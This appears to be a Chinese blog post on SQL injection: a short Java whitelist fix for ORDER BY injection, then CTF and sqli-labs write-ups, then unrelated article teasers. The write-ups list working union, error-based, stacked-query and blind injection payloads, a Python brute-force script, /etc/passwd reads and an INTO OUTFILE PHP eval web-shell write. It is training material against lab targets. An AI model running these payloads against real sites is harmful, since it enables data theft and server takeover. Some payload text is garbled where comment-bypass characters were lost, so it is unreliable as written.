安全的写法应该是在java代码层面解决 可以设置一个字段值的白名单,仅允许用户传入白名单内的字段。 String sort = request.getParameter("sort"); String[] sortWhiteList = {"id", "username", "password"}; if(!Arrays.asList(sortWhiteList).contains(sort)){ sort = "id"; } 或者仅允许用户传入索引值,代码再将索引值映射成对应字段。 String sort = request.getParameter("sort"); switch(sort){ case "1": sort = "id"; break; case "2": sort = "username"; break; case "3": sort = "password"; break; default: sort = "id"; break; } 注意,在mybatis-generator自动生成的语句中,order by使用的是 ,就会导致SQL注入。安全的写法应该是在java代码层面解决可以设置一个字段值的白名单,仅允许用户传入白名单内的字段。Stringsort=request.getParameter("sort");String[]sortWhiteList="id","username","password";if(!Arrays.asList(sortWhiteList).contains(sort))sort="id";或者仅允许用户传入索引值,代码再将索引值映射成对应字段。Stringsort=request.getParameter("sort");switch(sort)case"1":sort="id";break;case"2":sort="username";break;case"3":sort="password";break;default:sort="id";break;注意,在mybatisgenerator自动生成的语句中,orderby使用的是{},而like和in没问题。

CTF题目练习

[SWPUCTF 2021 新生赛]easy_sql(常规union联合注入)
进入环境要求输入东西,在title中提示参数是wllm
GET方式传参wllm=1,回显login_name:xxx与password:yyy
?wllm=1’ 报错
?wllm=1" 正常回显
?wllm=1’–+ 判断是单引号闭合
?wllm=1’ order by 4–+ 报错Unknown column ‘4’ in ‘order clause’
?wllm=1’ order by 3–+ 正常回显,判断列数为3
?wllm=-1’ union select 1,2,3–+ 判断回显为2,3
?wllm=-1’ union select 1,2,@@version–+ 查看mysql版本,发现是MariaDB(mysql的一个分支),说明需要mysql语句注入
?wllm=-1’ union select 1,2,database()–+ 数据库为test_db
?wllm=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()–+ test_db数据库下的表有test_tb和users
?wllm=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘test_tb’–+ test_tb表下有id,flag两列
?wllm=-1’ union select 1,2,flag from test_tb–+ 获取flag字段
[suctf 2019]EasySQL (猜测后端sql语句)
一个提交框,输入个1,回显Array ( [0] => 1 )。发现输入数字就会回显Array ( [0] => 1 ),输入字符什么都不回显。
尝试一些关键字发现过滤了:from、union、extractvalue、prepare等关键字(均回显NONONO!)
尝试堆叠注入,发现可以
1;show databases; – 数据库有ctf、ctftraining、information_schema、msql、performance_schema、test
1;select database(); – 当前数据库为ctf
1;show tables; – 表名为Flag
解法1
题目说Give me your flag, I will tell you if the flag is right.
有经验可以猜测出查询语句使用了||,在mysql中||表示或,如果前一个操作数为真,则不看后面的语句。
查询语句大概为:
select $_POST[‘query’] || flag from Flag
构造payload
,1
query传入
,1 那么查询语句变为:select *,1 || flag from Flag,相当于select *,1 from Flag。
这里1的作用是增加一个临时列,列名为1,并且那一列的值都为1。
查询语句相当于两个语句:
● select * from Flag;
● select 1 || flag from Flag;

在平时使用mysql时,如果只想中id数据表有多少行,而不需要知道具体字段值时,可以使用select 1 from table_name这样的语句。
查询到有多少行存在,就输出多少个1(列名也为1).
解法2
可以修改sql_mode,改变||的行为,将sql_mode修改为PIPES_AS_CONCAT后,||将会被视作字符串连接符只有拼接作用,而不是逻辑运算符。
payload
1;set SQL_MODE=PIPES_AS_CONCAT;select 1
查询语句相当于
select 1;set SQL_MODE=PIPES_AS_CONCAT;select 1 || flag from Flag;

[SWPUCTF 2021 新生赛]error(报错注入)
只有一个提交功能
?id=1 回显:没有提示…
?id=2-1 无回显
?id=1’ 报错
?id=1" 回显和id=1一样
?id=1’–+ 回显和id=1一样,判断是单引号闭合
?id=1’ order by 4–+ 回显:Unknown column ‘4’ in ‘order clause’
?id=1’ order by 3–+ 判断列数为3
接下来一直都是没有提示尝试报错注入
updatexml报错注入
?id=-1’ and 1=updatexml(1,concat(‘~’,(select database())),3)–+ 爆出库名test_db
?id=-1’ and 1=updatexml(1,concat(‘~’,(select group_concat(table_name) from information_schema.tables where table_schema=database())),3)–+ 爆出表名test_tb,users
?id=-1’ and 1=updatexml(1,concat(‘~’,(select group_concat(column_name) from information_schema.columns where table_name=‘test_tb’)),3)–+ 爆出test_db表中的列名id,flag
?id=-1’ and 1=updatexml(1,concat(‘~’,substr((select flag from test_tb),1,31)),3)–+
?id=-1’ and 1=updatexml(1,concat(‘~’,substr((select flag from test_tb),32,31)),3)–+ 分段截取flag
extractvalue报错注入
?id=-1’ and 1=extractvalue(1,concat(‘~’,(select database())))–+ 爆出库名test_db
?id=-1’ and 1=extractvalue(1,concat(‘~’,(select group_concat(table_name) from information_schema.tables where table_schema=database())))–+ 爆出表名test_tb,users
?id=-1’ and 1=extractvalue(1,concat(‘~’,(select group_concat(column_name) from information_schema.columns where table_name=‘test_tb’)))–+ 爆出test_db表中的列名id,flag
?id=-1’ and 1=extractvalue(1,concat(‘~’,substr((select flag from test_tb),1,31)))–+
?id=-1’ and 1=extractvalue(1,concat(‘~’,substr((select flag from test_tb),32,31)))–+ 分段截取flag
floor报错注入
这里不知道为什么group_concat失效,只能使用concat,结合limit去挨个爆破
?id=-1’ union select 1,count(*),concat_ws(‘~’,(select database()),floor(rand(0)2)) as x from information_schema.tables group by x–+ 获取数据库名test_db
?id=-1’ union select 1,count(
),concat_ws(‘-’,(select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)2)) as x from information_schema.tables group by x–+
?id=-1’ union select 1,count(
),concat_ws(‘-’,(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),floor(rand(0)2)) as x from information_schema.tables group by x–+
获取了表名test_tb,users
?id=-1’ union select 1,count(
),concat_ws(‘-’,(select concat(column_name) from information_schema.columns where table_name=‘test_tb’ limit 0,1),floor(rand(0)2)) as x from information_schema.tables group by x–+
?id=-1’ union select 1,count(
),concat_ws(‘-’,(select concat(column_name) from information_schema.columns where table_name=‘test_tb’ limit 1,1),floor(rand(0)2)) as x from information_schema.tables group by x–+
获取了test_tb中的列名id,flag
?id=-1’ union select 1,count(
),concat_ws(‘-’,(select flag from test_tb),floor(rand(0)*2)) as x from information_schema.tables group by x–+
直接爆出flag
[SWPUCTF 2021 新生赛]sql(简单过滤)
这关提示有waf,经过测试发现过滤了空格、+
可以使用//替代空格,like替代=
这里%23是 #的url编码
?wllm=1’/
/order//by//3%23 判断列数为3
?wllm=-1’//union//select//1,2,3%23 回显位为2,3
?wllm=-1’/
/union//select//1,2,database()%23 数据库名为test_db
?wllm=-1’//union//select//1,2,table_name//from//information_schema.tables//where//table_schema//like//database()%23 表名为LTLT_flag,users
?wllm=-1’/
/union//select//1,2,group_concat(column_name)//from//information_schema.columns//where//table_name//like//‘LTLT_flag’%23 LTLT_flag表下的列名为id,flag
不能直接获取完整flag,使用substr right进行截取也被过滤,但可以使用mid
?wllm=-1’//union//select//1,2,mid(flag,1,20)//from//LTLT_flag%23 观察到一次只能回显20个字符
?wllm=-1’/
/union//select//1,2,mid(flag,21,20)//from//LTLT_flag%23
?wllm=-1’//union//select//1,2,mid(flag,41,20)//from/**/LTLT_flag%23
[LitCTF 2023]这是什么?SQL !注一下 !(flag在其他表下,验证php探针及sql写马)
已经告诉了sql查询语句

<?php $sql = "SELECT username,password FROM users WHERE id = ".'(((((('.$_GET["id"].'))))))'; $result = $conn->query($sql); ?id=1))))))%23 闭合方式为6个括号,这里注释符号要使用%23 ?id=1)))))) order by 3%23 ?id=1)))))) order by 2%23 判断字段数为2 ?id=-1)))))) union select 1,database()%23 当前数据库名字为ctf ?id=1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23 有一个users表 ?id=-1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_name='users'%23 users表中有id,username,password等字段 ?id=-1)))))) union select 1,concat(username,':',password)from users%23 有一个假的flag ?id=-1)))))) union select 1,table_schema from information_schema.tables%23 查询所有的库,有ctf,ctftraining等库 ?id=-1)))))) union select 1,group_concat(table_name) from information_schema.tables where table_schema='ctftraining'%23 查询ctftraining库下的表名有flag,news,users ?id=-1)))))) union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'%23 flag表下有flag字段 ?id=-1)))))) union select 1,group_concat(flag) from ctftraining.flag%23 获取flag ?id=-1)))))) union select 1,load_file('/etc/passwd')%23 能够读取文件 ?id=-1)))))) union select 1,load_file('/etc/nginx/nginx.conf')%23 读取nginx配置文件 网站根目录:root /var/www/html; index index.php; ?id=-1)))))) union select 1,'<?php phpinfo();?>' into outfile '/var/www/html/info.php'%23 php探针,验证是否可以写入

?id=-1)))))) union select 1,‘<?php eval($_REQUEST["1"]);?>’ into outfile ‘/var/www/html/ma.php’%23 向ma.php中写马getshell
[强网杯 2019]随便注(堆叠注入:利用alter修改表名和字段名绕过限制;利用编码绕过;利用handler代替select)
判断为单引号闭合,并且输入了一些关键字,告诉了过滤/select|update|delete|drop|insert|where|\,并且不区分大小写。
看到select被禁用,联合查询、报错注入、盲注都不能使用了,只能尝试堆叠注入。
1’;show databases;# 数据库有ctftraining,information_schema,mysql,perfomance_schema,supersqli,test
1’;show tables;# 表有1919810931114514,words
1’;show columns from words# 查看words表中的字段有id,data
1’;show columns from 1919810931114514# 查看1919810931114514表中的字段有flag

方法一
使用concat拼接绕过对select的过滤, 将sql语句预编译为名为stmt1的预处理语句,然后执行;
1’;use supersqli;set @sql=concat(‘s’,‘elect flag from 1919810931114514’);PREPARE execsql FROM @sql;EXECUTE execsql;–+
也可以使用十六进制编码进行绕过
1’;use supersqli;SeT @a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;–+
方法二
因为有两个表,先将words表改名为words2;将1919810931114514改名为words;然后将flag字段改名为id,使用1’ or 1=1#爆出flag
1’;alter table words rename words2;alter table 1919810931114514 rename words;alter table words change flag id varchar(60);–+

1’;rename table words to words2;rename table 1919810931114514 to words;alter table words add id int(10) default ‘12’;alter table words change flag data varvhar(60);–+
这时候再输出1就是一片空白了,因为新id列中的值变为flag的值了,我们可以通过让where条件永远为正查出所有数据。
select * from words where id = ‘1’ or ‘1’ = ‘1’;
1’ or ‘1’=‘1
方法三
使用handler命令进行查看
handler命令可以一行一行查看数据表中的内容
1’;handler 1919810931114514 open;handler 1919810931114514 read next;
[CISCN 2019华北Day2]Web1(数字型盲注)
首先判断是数字型注入还是字符型注入。
尝试使用2-1进行判断,发现-被过滤了,使用2/2判断,发现是数字型注入。
import requests

s=requests.session()
flag = ‘’
for i in range(1,50):
for j in ‘-{abcdefghijklmnopqrstuvwxyz0123456789}’:
url=“http://node4.anna.nssctf.cn:28999/index.php”
sqls=“if(ascii(substr((select(flag)from(flag)),{},1))=ascii(‘{}’),1,2)”.format(i,j)
data={“id”:sqls}
c = s.post(url,data=data,timeout=10)
if ‘Hello’ in c.text:
flag += j
print(flag)
break

[NSSRound#1 Basic]sql_by_sql(二次注入;sqlite布尔盲注)

sqlilabs通关
less1
首先判断一下是数字型还是字符型注入
传入?id=1
Your Login name:Dumb
Your Password:Dumb

传入?id=2-1
Your Login name:Angelina
Your Password:I-kill-you
发现结果不同,判断为字符型注入。
接下来判断闭合方式
当字段本事是int类型的,并且在查询语句中该字段的值被单引号或双引号包裹,则只要值是以正确数字开头的,后面接多余的字符仍然可以返回正确的查询结果(但不能与包裹该字段的符号一致)
传入?id=1"
Your Login name:Dumb
Your Password:Dumb

传入?id=1’
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’ LIMIT 0,1’ at line 1
当传入?id=1’时出现报错
传入?id=1’–+
Your Login name:Dumb
Your Password:Dumb
使用–+注释,报错消失,判断是单引号注入
接下来就是爆库和写webshell
http://192.168.1.2/sqlilabs/Less-1/?id=1’ order by 3–+ //判断字段数为3
http://192.168.1.2/sqlilabs/Less-1/?id=-1’ union select 1,2,3–+ //查看回显位为2,3
http://192.168.1.2/sqlilabs/Less-1/?id=-1’ union select 1,2,database()–+ //获取数据库名为security
http://192.168.1.2/sqlilabs/Less-1/?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()–+ //获取表名为emails,referers,uagents,users
http://192.168.1.2/sqlilabs/Less-1/?id=-1’ union select 1,2,group_concat(column_name)from information_schema.columns where table_name=‘users’–+ //获取users表中的列名为USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password
http://192.168.1.2/sqlilabs/Less-1/?id=-1’ union select 1,group_concat(username),group_concat(password) from users–+ //获取用户名和密码

相关文章:

SQL注入

sql注入核心语句 information_schema 虚拟数据库(物理上不存在)&#xff0c;能提供方皓文数据库元数据的方式&#xff0c;元数据是关于数据的数据&#xff0c;如数据库名、表名、列的数据类型、访问权限等 只能访问 information_schema下面的表&#xff1a; schemata表&#xf…...

Java面试高阶篇:Spring Boot+Quarkus+Redis高并发架构设计与性能优化实战

Java面试高阶篇&#xff1a;Spring BootQuarkusRedis高并发架构设计与性能优化实战 面试官&#xff08;严肃&#xff09;&#xff1a; Q1: 你项目中如何实现高并发下的缓存优化&#xff1f; 候选人&#xff08;水货&#xff09;&#xff1a; 我们用了Redis做缓存&#xff0c;…...

【CF】Day57——Codeforces Round 955 (Div. 2, with prizes from NEAR!) BCD

B. Collatz Conjecture 题目&#xff1a; 思路&#xff1a; 简单模拟 很简单的模拟&#xff0c;我们只需要快速的找到下一个离 x 最近的 y 的倍数即可&#xff08;要大于 x&#xff09; 这里我们可以这样写 add y - (x % y)&#xff0c;这样就知道如果 x 要变成 y 的倍数还要…...

Matlab 列车纵向滑模二阶自抗扰算法和PID对比

1、内容简介 Matlab 223-列车纵向滑模二阶自抗扰算法和PID对比 可以交流、咨询、答疑 2、内容说明 略 列车模型 在运行过程中&#xff0c;已知列车受到牵引力或者制动力&#xff0c;基本阻力和附加阻力的作用&#xff0c;规定与列车运行方向相同的力为正&#xff0c;与运行…...

Swift实战:如何优雅地从二叉搜索树中挑出最接近的K个值

文章目录 摘要描述题解答案题解代码分析示例测试及结果时间复杂度空间复杂度总结未来展望 摘要 在日常开发中&#xff0c;我们经常会遇到“在一堆数据中找出最接近某个值”的需求。尤其在搜索引擎、推荐系统或者地理坐标匹配中&#xff0c;这种“最近匹配”的问题非常常见。Le…...

深度策略梯度算法PPO

一、策略梯度核心思想和原理 从时序差分算法Q学习到深度Q网络&#xff0c;这些算法都侧重于学习和优化价值函数&#xff0c;属于基于价值的强化学习算法&#xff08;Value-based&#xff09;。 1. 基于策略方法的主要思想&#xff08;Policy-based&#xff09; 基于价值类方…...

QuickList

Redis在3.2版本引入数据结构&#xff0c;是一个双端链表&#xff0c;每个节点都是一个ZipList。 引入的原因&#xff1a;ZipList申请内存空间是连续的&#xff0c;如果内存占用较多&#xff0c;申请内存效率很低 思想&#xff1a;属于分片存储的思想 Redis配置项&#xff1a…...

DVWA在线靶场-SQL注入部分

目录 1.SQL注入 1.1 low 1.2 Medium 1.3 high 1.4 impossible 1. SQL盲注 1.1 low 2.2 medium 2.3 high 2.4 impossible 1.SQL注入 显注&#xff1a;前端页面可以回显用户信息&#xff0c;比如 联合注入、报错注入。 盲注&#xff1a;前端页面不能回显用户信息&#xff0c;比…...

IDEA+git将分支合并到主分支、IDEA合并分支

文章目录 一、合并分支二、可能遇到的问题2.1、代码冲突 开发过程中我们可能在开发分支(dev)中进行开发&#xff0c;等上线后将代码合并到主分支(master)中&#xff0c;本文讲解如何在IDEA中将dev分支的代码合并到master分支中。 一、合并分支 功能说明&#xff1a;将dev分支的…...

【Linux笔记】——进程信号的产生

&#x1f525;个人主页&#x1f525;&#xff1a;孤寂大仙V &#x1f308;收录专栏&#x1f308;&#xff1a;Linux &#x1f339;往期回顾&#x1f339;&#xff1a;【Linux笔记】进程间通信——system v 共享内存 &#x1f516;流水不争&#xff0c;争的是滔滔不 一、进程信号…...

Java后端文件类型检测(防伪造)

在 Spring Boot 项目中&#xff0c;为了防止用户伪造 Content-Type&#xff08;例如将 .txt 文件改为 image/jpeg 上传&#xff09;&#xff0c;可以通过检查文件的 Magic Number&#xff08;文件头签名&#xff09;来验证文件的真实类型。以下是 详细实现步骤 和 完整代码示例…...

知名人工智能AI培训公开课内训课程培训师培训老师专家咨询顾问唐兴通AI在金融零售制造业医药服务业创新实践应用

AI赋能未来工作&#xff1a;引爆效率与价值创造的实战营 AI驱动的工作革命&#xff1a;从效率提升到价值共创 培训时长&#xff1a; 本课程不仅是AI工具的操作指南&#xff0c;更是面向未来的工作方式升级罗盘。旨在帮助学员系统掌握AI&#xff08;特别是生成式AI/大语言模型…...

VUE3基础样式调整学习经验

首先创建一个vue项目最好要把不属于自己的样式都删除掉&#xff0c;以面出现css难以调整的情况&#xff1a; 1.assets目录下的main.css、base.css等样式全部删除 2.app.vue下的样式也全部删除 3.使用element plus一定要加入样式包&#xff1a; import element-plus/dist/in…...

AI与IoT携手,精准农业未来已来

AIoT:农业领域的变革先锋 在科技飞速发展的当下,人工智能(AI)与物联网(IoT)的融合 ——AIoT,正逐渐成为推动各行业变革的关键力量,农业领域也不例外。AIoT 技术通过将 AI 的智能分析能力与 IoT 的设备互联能力相结合,为农业生产带来了前所未有的精准度和智能化水平。 …...

物联网驱动的共享充电站系统:智能充电的实现原理与技术解析!

随着新能源汽车的快速普及&#xff0c;共享充电站系统作为其核心基础设施&#xff0c;正通过物联网技术的深度赋能&#xff0c;实现从“传统充电”到“智能充电”的跨越式升级。本文将从系统架构、核心技术、优化策略及实际案例等角度&#xff0c;解析物联网如何驱动共享充电站…...

MCP 入门实战:用 C# 开启 AI 新篇章

MCP 入门实战&#xff1a;用 C# 开启 AI 新篇章 一、什么是 MCP&#xff1f; MCP&#xff0c;全称为 Model Context Protocol&#xff08;模型上下文协议&#xff09;&#xff0c;是一个开放的协议&#xff0c;它为应用程序向大型语言模型&#xff08;LLM&#xff09;提供上下…...

ES常识7:ES8.X集群允许4个 master 节点吗

在 Elasticsearch&#xff08;ES&#xff09;中&#xff0c;4 个 Master 节点的集群可以运行&#xff0c;但存在稳定性风险&#xff0c;且不符合官方推荐的最佳实践。以下从选举机制、故障容错、资源消耗三个维度详细分析&#xff1a; 一、4 个 Master 节点的可行性&#xff1…...

WebRTC:去中心化网络P2P框架解析

在互联网的世界里&#xff0c;数据的传输就像一场永不停歇的 “信息快递”。当我们使用 WebRTC 实现视频通话时&#xff0c;背后支撑的网络框架至关重要。今天&#xff0c;我们将深入探索 WebRTC 开发中视频通话的前置基础 ——P2P&#xff08;点对点&#xff09;框架&#xff…...

Linux 上安装RabbitMQ

&#x1f407; 安装 Erlang/OTP 27.3.4&#xff08;最新稳定版&#xff09; 1. 下载 Erlang 源码 cd /usr/local/src wget https://erlang.org/download/otp_src_27.3.4.tar.gz2. 解压源码 tar -zxvf otp_src_27.3.4.tar.gz cd otp_src_27.3.43. 安装依赖 sudo apt update …...

Service Mesh实战之Istio

Service Mesh&#xff08;服务网格&#xff09;是一种专为微服务架构设计的网络代理层&#xff0c;用于处理服务间的通信、管理和监控。Istio 是一个流行的开源 Service Mesh 实现&#xff0c;通过提供流量管理、观测性和安全性等功能&#xff0c;帮助开发者应对分布式系统的复…...

BGP练习

一、要求拓扑图 二、要求 完成上图内容&#xff0c;要求五台路由器的环回地址均可以相互访问 三、需求分析 1. 网络连通性目标 - 需求明确要求五台路由器&#xff08;AR1 - AR5 &#xff09;的环回地址能够相互访问。环回地址是路由器上用于测试、管理及作为BGP等协议中Ro…...

【Redis】分布式锁的实现

目录 一、本地锁存在的问题 二、redis实现分布式锁原理 三、使用示例 四、锁误删问题 解决思路 获取锁和释放锁代码优化 五、锁释放的原子性问题 解决思路&#xff08;Lua脚本&#xff09; 使用流程 总结 大家好&#xff0c;我是千语。上期给大家讲了使用悲观锁来解决…...

【vue】全局组件及组件模块抽离

一、全局组件 只要是实例化过的区域都可以使用 Vue.component("组件名",{ template: 内容} ) 二、组件模块抽离 抽离就是把template的内容写到body里面&#xff0c;然后建立id写到变量下的template里&#xff0c;id变量写到component里 body{ template&#xff1a; …...

手写 vue 源码 === watch 实现

目录 1. watch 的基本使用 2. watch 的整体架构 3. doWatch 函数的实现 3.1 处理不同类型的监听源 3.2 清理副作用的机制 3.3 创建响应式效果 3.4 初始化执行 3.5 返回停止函数 4. watch 如何基于 ReactiveEffect 实现 4.1 依赖收集过程详解 4.2 更新触发过程详解 …...

STM32核心机制解析:重映射、时间片与系统定时器实战——从理论到呼吸灯开发

知识点1【重映射的概念】 1、引入 默认&#xff1a; **定义&#xff1a;**系统或硬件在未经用户修改时的预设配置或行为 STM32的引脚功能、外设配置、中断向量表等默认由芯片设计或库函数预设。 部分重映射 **定义&#xff1a;**仅修改部分资源或地址的映射关系&#xff…...

【Linux网络编程】HTTPS协议原理

目录 一&#xff0c;HTTPS是什么&#xff1f; 1&#xff0c;什么是加密&#xff1f; 2&#xff0c;为什么需要加密&#xff1f; 3&#xff0c;常见的加密方式 对称加密 非对称加密 4&#xff0c;数据摘要&&数据指纹 二&#xff0c;HTTPS协议加密方案 方案一&a…...

【idea】快捷键ctrl+shift+F(Find in files)不起作用

问题描述 在idea中使用快捷键CtrlShiftF&#xff0c;进行内容的搜索&#xff0c;但是弹不出对话框、或有时候能弹出有时候又弹不出。 原因分析 1.怀疑是缓存问题&#xff1f;--清空缓存重启也没什么作用 2.怀疑是idea的问题&#xff1f;--有时行、有时不行&#xff0c;而且…...

「光域」系列激光测距传感器:以光为尺,重构空间认知边界

在150米深的地下矿井中&#xff0c;无人矿卡需要精准识别前方3厘米的落石&#xff1b;在千米高空的风电塔筒检测现场&#xff0c;工程师手持设备要穿透50米雾霭锁定0.1毫米的形变&#xff1b;在智能仓储的立体库房里&#xff0c;穿梭车需在0.3秒内完成货架间距的毫米级校准………...

http和https的区别

HTTP&#xff08;超文本传输协议&#xff09;和HTTPS&#xff08;超文本传输安全协议&#xff09;是互联网上用于传输数据的两种协议&#xff0c;它们的主要区别如下&#xff1a; 1. 安全性 HTTP&#xff1a;明文传输&#xff0c;数据在传输过程中不加密&#xff0c;容易被窃…...

Dapp开发-如何开发一个dapp

DApp开发全流程指南&#xff1a;从需求到落地的技术实践与生态构建 ——2025年去中心化应用开发方法论与未来趋势解析 一、需求定位与架构设计&#xff1a;构建DApp的技术地基 需求精准定位 功能定义&#xff1a;明确DApp的核心场景&#xff08;如DeFi借贷、NFT交易、DAO治理&…...

Python邮件处理(使用imaplib和email库实现自动化邮件处理)

在日常工作中&#xff0c;我们经常需要自动化处理电子邮件&#xff0c;比如自动下载附件、解析邮件内容、处理特定格式的数据等。本文将通过一个实际案例&#xff0c;详细介绍如何使用Python的imaplib和email库来实现邮件的自动化处理。 目录 环境准备与库介绍IMAP邮件服务器连…...

时空注意力机制深度解析:理论、技术与应用全景

时空注意力机制作为深度学习领域的关键技术&#xff0c;通过捕捉数据在时间和空间维度上的依赖关系&#xff0c;显著提升了时序数据处理和时空建模能力。本文从理论起源、数学建模、网络架构、工程实现到行业应用&#xff0c;系统拆解时空注意力机制的核心原理&#xff0c;涵盖…...

鸿蒙 UIAbility组件与UI的数据同步和窗口关闭

使用 EventHub 进行数据通信 根据 Stage 模型概念图 UIAbility 先于 ArkUI Page 创建 所以&#xff0c;事件要先 .on 订阅 再 emit 发布 假如现在有页面 Page1 和他的 UIAbility // src/main/ets/page1ability/Page1Ability.ets onCreate(want: Want, launchParam: Ability…...

UI-TARS: 基于视觉语言模型的多模式代理

GitHub&#xff1a;https://github.com/bytedance/UI-TARS 更多AI开源软件&#xff1a;发现分享好用的AI工具、AI开源软件、AI模型、AI变现 - 小众AI 基于视觉语言模型&#xff08;Vision-Language Model&#xff09;的 GUI 代理应用&#xff0c;允许用户通过自然语言控制电脑操…...

C++多态讲解

1. 多态的概念 通俗来说&#xff0c;就是多种形态。多态分为编译时多态(静态多态)和运行时多态(动态多态)。编译时多态就是函数重载和函数模板&#xff0c;他们传不同的类型的参数就可以调用不同的函数&#xff0c;通过参数的不同达到多种形态&#xff0c;之所以叫编译时多态&…...

QuecPython+蜂窝模组基础开发

开发准备 硬件&#xff1a; 一块 QuecPython_EC2X_EVB 开发板 (以该开发板为例&#xff0c;更多开发板介绍参见下文开发板列表)USB 数据线 (USB-A TO USB-C)PC (Windows10) 蜂窝模组开发板列表: EC2X_EVBEC600X_EVBEC800X_EVBEC600X/EC800X_CORE_EVBBG95_EVBEC200X_EVBEG91…...

-MAC桢-

MAC桢和IP的关系&#xff1a; 主机A想跨网络和B通信需要IP地址进行路由选择&#xff0c;但一个局域网&#xff0c;比如路由器进行路由选择之前&#xff0c;首先要将数据包发送给路由器B&#xff0c;也就是局域网通信也就是同一个网段的主机进行通信&#xff0c;所以必须通过mac…...

反转链表 - 简单

************* C topic: 206. 反转链表 - 力扣&#xff08;LeetCode&#xff09; ************* Give the topic an inspection. It seems really easy. At very first, I think that I will use reverse cammand to kill this topic. But a few seconds later I found that…...

负载均衡 ELB 在 zkmall开源商城高流量场景下的算法优化

在电商大促、直播带货等高频交易场景下&#xff0c;流量突发增长对系统稳定性提出严峻挑战。ZKmll 开源商城通过对负载均衡 ELB&#xff08;Elastic Load Balancer&#xff09;算法的深度优化&#xff0c;结合业务场景特性设计动态加权轮询 地域感知 热点分流的混合策略&…...

YOLOv5推理代码解析

代码如下 import cv2 import numpy as np import onnxruntime as ort import time import random# 画一个检测框 def plot_one_box(x, img, colorNone, labelNone, line_thicknessNone):"""description: 在图像上绘制一个矩形框。param:x: 框的坐标 [x1, y1, x…...

创建三个网络,分别使用RIP、OSPF、静态,并每个网络10个电脑。使用DHCP分配IP

DHCP 自动分配IP&#xff0c;集中管理&#xff0c;提高效率 在路由器中设置 Router>en Router#conf t Router(config)#ip dhcp pool ip30 //创建DHCP地址池 Router(dhcp-config)#network 192.168.30.0 255.255.255.0 // 配置网络地址和子网掩码 Router(dhcp-config)#defa…...

[网络层]网络层设备路由器

路由表 路由器能进行路由转发&#xff0c;所依靠的核心数据结构就是路由表&#xff0c;那么路由表是怎么来的&#xff0c; 静态路由和动态路由&#xff1a; 说的是表项&#xff0c;这个表项是静态的还是动态的&#xff0c;就跟ARP缓存表的表项静态动态是一回事&#xff0c; …...

Maven 项目中将本地依赖库打包到最终的 JAR 中

文章目录 前言详细步骤 前言 在现代后端开发中&#xff0c;构建高效且可扩展的 Web 应用程序通常依赖于多种第三方库和内部依赖。这些依赖可以来自公共仓库&#xff0c;也可能是公司内部自研的库或尚未发布到公共仓库的 JAR 包。本文将详细介绍如何在 Maven 项目中处理本地依赖…...

大模型的Lora如何训练?

大模型LoRA(Low-Rank Adaptation)训练是一种参数高效的微调方法,通过冻结预训练模型权重并引入低秩矩阵实现轻量化调整。以下是涵盖原理、数据准备、工具、参数设置及优化的全流程指南: 一、LoRA的核心原理 低秩矩阵分解 在原始权重矩阵$ W 旁添加两个低秩矩阵 旁添加两个…...

CSS3 伪类和使用场景

CSS3 伪类&#xff08;Pseudo-classes&#xff09;大全 CSS3 引入了许多新的伪类&#xff0c;以下是完整的 CSS3 伪类分类列表&#xff08;包括 CSS2 的伪类&#xff09;&#xff1a; 一、结构性伪类&#xff08;Structural Pseudo-classes&#xff09; 这些伪类根据元素在文…...

GitDiagram - GitHub 仓库可视化工具

GitDiagram - GitHub 仓库可视化工具 项目链接&#xff1a;https://github.com/ahmedkhaleel2004/gitdiagram 将任何 GitHub 仓库转换为交互式架构图&#xff0c;只需替换 URL 中的 hub 为 diagram。 ✨ 核心功能 即时可视化&#xff1a;将代码库结构转换为系统设计/架构图…...

[特殊字符] 本地大模型编程实战(29):用大语言模型LLM查询图数据库NEO4J(2)

本文将基于langgraph框架&#xff0c;用LLM查询NEO4J图数据库&#xff0c;构建可定制、能应对复杂场景的工作流&#xff01; &#x1f31f; 核心亮点 是否用户提问是否电影相关?生成Cypher查询直接回答执行查询生成最终答案 &#x1f9e9; 模块化实现 1️⃣ 定义状态机 from …...

Python中操作Neo4j图数据库

在当今数据驱动的时代&#xff0c;关系型数据库在处理高度关联的数据时常常显得力不从心。图数据库&#xff0c;尤其是Neo4j&#xff0c;以其独特的图结构和高效的关系查询能力&#xff0c;成为了解决这一问题的利器。结合Python的简洁与强大&#xff0c;我们可以更高效地构建和…...

人工智能时代:解锁职业新身份,从“认证师”到“工程师”的进阶之路

在人工智能技术浪潮席卷全球的今天,技术的飞速迭代正在重塑职业版图。从算法优化到伦理决策,从系统测试到应用开发,AI技术不再只是程序员的专属领域,而是成为各行各业从业者必须掌握的“生存技能”。当企业争相布局AI赛道,个人如何在这场变革中抢占先机?答案或许藏在两个…...

浙江大学 deepseek 公开课 第三季 第3期 - 陈喜群 教授 (附PPT下载) by 突破信息差

浙江大学DeepSeek系列公开课第三季重磅开启&#xff0c;特邀该校多领域权威学者联袂主讲。课程聚焦AI技术如何重构基础学科研究范式&#xff0c;深度解码以DeepSeek为代表的智能模型在交叉学科中的创新应用。在"XAI"融合浪潮下&#xff0c;学术大咖将剖析传统学科与人…...